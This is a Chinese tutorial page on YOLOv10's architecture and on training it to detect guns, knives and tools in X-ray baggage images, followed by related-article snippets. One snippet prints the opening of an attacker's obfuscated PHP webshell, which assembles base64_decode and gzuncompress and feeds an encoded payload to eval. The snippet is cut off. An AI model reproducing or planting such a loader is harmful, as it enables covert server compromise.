实战|YOLOv10 自定义目标检测
引言
YOLOv10[1] 概述和使用自定义数据训练模型
概述
由清华大学的研究团队基于 Ultralytics Python 包研发的 YOLOv10,通过优化模型结构并去除非极大值抑制(NMS)环节,提出了一种创新的实时目标检测技术。这些改进不仅实现了行业领先的检测性能,还降低了对计算资源的需求。大量实验结果证明,YOLOv10 在不同规模的模型上都能提供卓越的准确率和延迟之间的平衡。
架构
-
Backbone:在 YOLOv10 中,主干网络负责提取特征,它采用了改进版的 CSPNet(跨阶段部分网络),这一改进有助于优化梯度传播,并降低计算过程中的重复性。 -
Neck:连接层的作用是整合不同尺度上的特征,并将它们传递给网络的输出部分。它内部集成了 PAN(路径聚合网络)层,以实现多尺度特征的有效融合。 -
One-to-Many Head:在训练过程中,对于每个目标对象生成多个预测结果,这样做可以提供更多的监督信号,从而提升模型的学习精度。 -
One-to-One Head:在推理过程中,对于每个目标对象生成单一的最佳预测结果,这样做可以省去 NMS(非极大值抑制)的步骤,减少处理时间,提高整体的效率。
模型变体和性能
YOLOv10 提供了六种不同规模的模型:
-
YOLOv10-N:纳米版,专为资源极其有限的场合设计。
-
YOLOv10-S:小型版,兼顾速度与准确性。
-
YOLOv10-M:中型版,适用于一般用途。
-
YOLOv10-B:平衡版,通过增加模型宽度来提升准确性。
-
YOLOv10-L:大型版,牺牲一定的计算资源以换取更高的准确性。
-
YOLOv10-X:超大型版,追求极致的准确性和性能表现。
性能比较
让我们看一下不同模型在延迟和准确性方面的比较,这些模型是在 COCO 等标准基准上进行测试的。
显然,YOLOv10 是实时物体检测应用的尖端技术,能够以更少的参数提供更高的精度和速度性能。
实战训练
首先,克隆官方 YOLOv10 GitHub 存储库以下载必要的 yolov10n 模型。
pip install -q git+https://github.com/THU-MIG/yolov10.git
wget -P -q https://github.com/jameslahm/yolov10/releases/download/v1.0/yolov10n.pt
您可以在 Roboflow Universe 平台上开展任何自定义项目,自行构建数据集,还可以利用 Intel 赞助的 RF100 数据集。在本文中,我将采用一个专为检测 X 射线图像中的可疑物品而设计好的数据集。
通过 Roboflow API,您可以下载以 YOLOv8 格式封装的模型。
!pip install -q roboflow
from roboflow import Roboflow
rf = Roboflow(api_key="your-api-key")
project = rf.workspace("vladutc").project("x-ray-baggage")
version = project.version(3)
dataset = version.download("yolov8")
指定参数和文件路径,然后开始模型训练。
!yolo task=detect mode=train epochs=25 batch=32 plots=True \
model='/content/-q/yolov10n.pt' \
data='/content/X-Ray-Baggage-3/data.yaml'
示例 data.yaml 文件
names:
- Gun
- Knife
- Pliers
- Scissors
- Wrench
nc: 5
roboflow:
license: CC BY 4.0
project: x-ray-baggage
url: https://universe.roboflow.com/vladutc/x-ray-baggage/dataset/3
version: 3
workspace: vladutc
test: /content/X-Ray-Baggage-3/test/images
train: /content/X-Ray-Baggage-3/train/images
val: /content/X-Ray-Baggage-3/valid/images
让我们看看结果。
Image(filename='/content/runs/detect/train/results.png', width=1000)
让我们预测测试数据并在 5x2 网格中显示结果。
from ultralytics import YOLOv10
model_path = '/content/runs/detect/train/weights/best.pt'
model = YOLOv10(model_path)
results = model(source='/content/X-Ray-Baggage-3/test/images', conf=0.25,save=True)
import glob
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
images = glob.glob('/content/runs/detect/predict/*.jpg')
images_to_display = images[:10]
fig, axes = plt.subplots(2, 5, figsize=(20, 10))
for i, ax in enumerate(axes.flat):
if i < len(images_to_display):
img = mpimg.imread(images_to_display[i])
ax.imshow(img)
ax.axis('off')
else:
ax.axis('off')
plt.tight_layout()
plt.show()
Source: https://medium.com/@batuhansenerr/yolov10-custom-object-detection-bd7298ddbfd3
本文由 mdnice 多平台发布
相关文章:
实战|YOLOv10 自定义目标检测
引言 YOLOv10[1] 概述和使用自定义数据训练模型 概述 由清华大学的研究团队基于 Ultralytics Python 包研发的 YOLOv10,通过优化模型结构并去除非极大值抑制(NMS)环节,提出了一种创新的实时目标检测技术。这些改进不仅实现了行业领…...
TTS前端原理学习 chatgpt生成答案
第一篇文章学习 小绿鲸阅读器 通篇使用chatgpt生成答案 文章: https://arxiv.org/pdf/2012.15404 1. 文章概述 本文提出了一种基于Distilled BERT模型的统一普通话文本到语音前端模块。该模型通过预训练的中文BERT作为文本编码器,并采用多任务学习技术…...
AI“音乐创作”横行给音乐家带来哪些隐忧
近日,200多名国际乐坛知名音乐人联署公开信,呼吁AI开发者、科技公司、平台和数字音乐服务商停止使用人工智能(AI)来侵犯并贬低人类艺术家的权利,具体诉求包括,停止使用AI侵犯及贬低人类艺术家的权利,要求…...
SolidityFoundry 安全审计测试 Delegatecall漏洞2
名称: Delegatecall漏洞2 https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi 描述: 我们已经了解了delegatecall 一个基础的漏洞——所有者操纵漏洞,这里就不再重复之前的基础知识了,不了解或者遗忘的可…...
【字符串 状态机动态规划】1320. 二指输入的的最小距离
本文涉及知识点 动态规划汇总 字符串 状态机动态规划 LeetCode1320. 二指输入的的最小距离 二指输入法定制键盘在 X-Y 平面上的布局如上图所示,其中每个大写英文字母都位于某个坐标处。 例如字母 A 位于坐标 (0,0),字母 B 位于坐标 (0,1)࿰…...
2024.06.23【读书笔记】丨生物信息学与功能基因组学(第十七章 人类基因组 第三部分)【AI测试版】
第三部分:人类基因组的深入分析与比较基因组学 摘要: 本部分基于2001年国际人类基因组测序联盟(IHGSC)发布的人类基因组测序及分析草图,从生物信息学角度深入讨论了人类基因组的结构特征和分析方法。同时,提及了塞莱拉公司(Celera Genomics)版本的人类基因组草图及其…...
外观模式(大话设计模式)C/C++版本
外观模式 C #include <iostream> using namespace std;class stock1 { public:void Sell(){cout << "股票1卖出" << endl;}void Buy(){cout << "股票1买入" << endl;} };class stock2 { public:void Sell(){cout << …...
PHP木马原文
攻击者留下的源码 <?php $ZimXb strre.v; $SkYID ba.se64._d.eco.de; $qetGk g.zuncomp.ress; ini_set(display_errors, 0); ini_set(log_errors, 0); /*** 13f382ef7053c327e26dff2a9c14affbd9e8296a ***/ error_reporting(0); eval($qetGk($SkYID($ZimXb(Q2WA…...
湖南(市场调研)源点咨询 新产品上市前市场机会调研与研究分析
湖南源点调研认为:无论是创业公司,还是在公司内部探索新的项目或者新的产品线等,首先都要做“市场机会分析与调研“,要真正思考并解答以下疑问: 我们的目标客户群体是谁,他们如何决策? 我们所…...
Vue82-组件内路由守卫
一、组件内路由守卫的定义 在一个组件里面去写路由守卫,而不是在路由配置文件index.js中去写。 此时,该路由守卫是改组件所独有的! 只有通过路由规则进入的方式,才会调这两个函数,否则,若是只是用<Ab…...
使用ESP32和Flask框架实现温湿度数据监测系统
项目概述 在这个项目中,我们将使用ESP32微控制器读取温湿度传感器的数据,并将这些数据通过HTTP请求传输到基于Flask框架的服务器。Flask是一个轻量级的Python Web框架,非常适合快速开发和部署Web应用。通过这个项目,我们不仅可以了…...
为什么按照正确的顺序就能开始不断地解决问题,按照不正确的顺序,问题就没有办法能够得到解决呢?
按照正确的顺序解决问题与按照不正确的顺序可能导致问题无法解决,这背后有几个关键原因: 1. **逻辑性**: 正确的顺序通常遵循逻辑性和因果关系(因为得按照这个基础的逻辑性才能够是自己顺应规律,太阳没有办法能够从西…...
嵌入式Linux gcc 编译器使用解析
目录 1.说明 2.分步编译法 3.编译源文件的四个阶段 4.gdb调试及常用命令 5.Makefile 1.说明 源文件 main.c 想生成 source gcc –g –O2 main.c –o source 黄色部分便是控制字 -g用于GDB –O2用于优化编译; 绿色部分表示源,可以由多个组成,用空格隔开; gcc …...
4、matlab双目相机标定实验
1、双目相机标定原理及流程 双目相机标定是将双目相机系统的内外参数计算出来,从而实现双目视觉中的立体测量和深度感知。标定的目的是确定各个摄像头的内部参数(如焦距、主点、畸变等)和外部参数(如相机位置、朝向等)…...
Oracle 数据库表和视图 的操作
1. 命令方式操作数据库(采用SQL*Plus) 1.1 创建表 1.1.1 基本语法格式 CREATE TABLE[<用户方案名>]<表名> (<列名1> <数据类型> [DEFAULT <默认值>] [<列约束>]<列名2> <数据类型> [DEFAULT <默认…...
美国ARC与延锋安全合作,推动汽车安全气囊技术新突破
在汽车安全领域,安全气囊作为关键被动安全配置,对于保障乘客生命安全至关重要。随着汽车工业的快速发展和科技创新的持续推进,安全气囊技术的升级与革新显得尤为重要。2022年10月25日,美国ARC公司与延锋安全携手合作,共…...
Docker:centos79-docker-compose安装记录
1.安装环境:centos7.9 x86 2.安装最新版: [rootlocalhost ~]# curl -fsSL get.docker.com -o get-docker.sh [rootlocalhost ~]# sh get-docker.sh # Executing docker install script, commit: e5543d473431b782227f8908005543bb4389b8desh -c yum in…...
相交链表(Leetcode)
题目分析: . - 力扣(LeetCode) 相交链表:首先我想到的第一个思路是:如图可知,A和B链表存在长度差,从左边一起遍历链表不好找交点,那我们就从后面开始找,但是这是单链表&…...
建造者模式(大话设计模式)C/C++版本
建造者模式 C 参考:https://www.cnblogs.com/Galesaur-wcy/p/15907863.html #include <iostream> #include <vector> #include <algorithm> #include <string> using namespace std;// Product Class,产品类,由多个…...
【地质灾害监测实现有效预警,44人提前安全转移】
6月13日14时,国信华源地质灾害监测预警系统提前精准预警,安全转移10户44人。 该滑坡隐患点通过科学部署国信华源裂缝计、倾角加速度计、雨量计、预警广播等自动化、智能化监测预警设备,实现了对隐患点裂缝、位移、降雨量等关键要素的实时动态…...
如何快速掌握yuzu模拟器:Switch游戏在电脑上流畅运行的终极指南
如何快速掌握yuzu模拟器:Switch游戏在电脑上流畅运行的终极指南 【免费下载链接】yuzu 任天堂 Switch 模拟器 项目地址: https://gitcode.com/GitHub_Trending/yu/yuzu yuzu模拟器是目前最流行的任天堂Switch开源模拟器,让玩家能够在Windows、Lin…...
Windows热键冲突终极排查指南:3分钟快速定位问题应用
Windows热键冲突终极排查指南:3分钟快速定位问题应用 【免费下载链接】hotkey-detective A small program for investigating stolen key combinations under Windows 7 and later. 项目地址: https://gitcode.com/gh_mirrors/ho/hotkey-detective 你是否曾经…...
Nano-Banana企业级部署:支持API接入PLM系统,打通产品数据链路
Nano-Banana企业级部署:支持API接入PLM系统,打通产品数据链路 1. 引言:企业级部署的价值与意义 在现代制造业和设计行业中,产品数据管理一直是个令人头疼的问题。设计师创作的产品分解图、技术团队制作的结构示意图、营销部门需…...
OpenClaw低配部署:gemma-3-12b-it在4GB内存设备上的运行方案
OpenClaw低配部署:gemma-3-12b-it在4GB内存设备上的运行方案 1. 为什么要在低配设备上部署OpenClaw? 去年我入手了一台二手Mac mini(8GB内存版),本想用它作为家庭媒体中心,后来突发奇想:能不能…...
Llama-3.2V-11B-cot惊艳效果:将儿童涂鸦转化为含因果逻辑的故事描述
Llama-3.2V-11B-cot惊艳效果:将儿童涂鸦转化为含因果逻辑的故事描述 1. 模型能力概览 Llama-3.2V-11B-cot 是一个突破性的视觉语言模型,它能将简单的儿童涂鸦转化为包含完整因果逻辑的故事描述。这个基于LLaVA-CoT论文实现的模型,展现了令人…...
C++的std--chrono时间库与steady_clock在性能测量中的正确使用
在C高性能程序开发中,精确测量代码执行时间是优化和调试的关键环节。std::chrono时间库作为现代C的标准工具,提供了高精度、类型安全的计时能力,其中steady_clock因其单调递增的特性成为性能测量的首选。本文将深入解析其正确使用方式&#x…...
Lychee-Rerank实战案例:专利文献检索中权利要求与技术方案的语义匹配
Lychee-Rerank实战案例:专利文献检索中权利要求与技术方案的语义匹配 1. 引言:当专利检索遇上语义匹配难题 如果你是专利工程师、知识产权分析师,或者从事技术研发工作,一定遇到过这样的场景:面对海量的专利文献&…...
霜儿-汉服-造相Z-Turbo科研辅助:使用LaTeX撰写包含AI生成图像的学术论文
霜儿-汉服-造相Z-Turbo科研辅助:使用LaTeX撰写包含AI生成图像的学术论文 最近在帮一位研究传统服饰的朋友整理论文,遇到了一个挺有意思的问题。他们需要大量汉服的结构示意图和纹样分析图,但手绘耗时,找现成资料又很难完全匹配研…...
使用PHP Imagick扩展将PDF转换为图片功能的完整方案
引言在开发中,经常需要将 PDF 文档转换为图片格式,以便于在线预览、生成缩略图或进行其他图像处理操作。PHP 的 Imagick 扩展提供了强大的图像处理能力,可以轻松实现这一需求。本文将介绍如何使用 Imagick 扩展创建一个高效的 PDF 转图片工具…...
EasyNetworkManager:ESP32/ESP8266嵌入式网络服务编排框架
1. EasyNetworkManager:面向ESP32/ESP8266的轻量级可扩展网络管理框架1.1 设计定位与工程价值EasyNetworkManager并非通用型网络协议栈,而是一个嵌入式设备侧的网络服务编排层。其核心设计目标直指ESP平台开发中的三大现实痛点:WiFi连接状态不…...
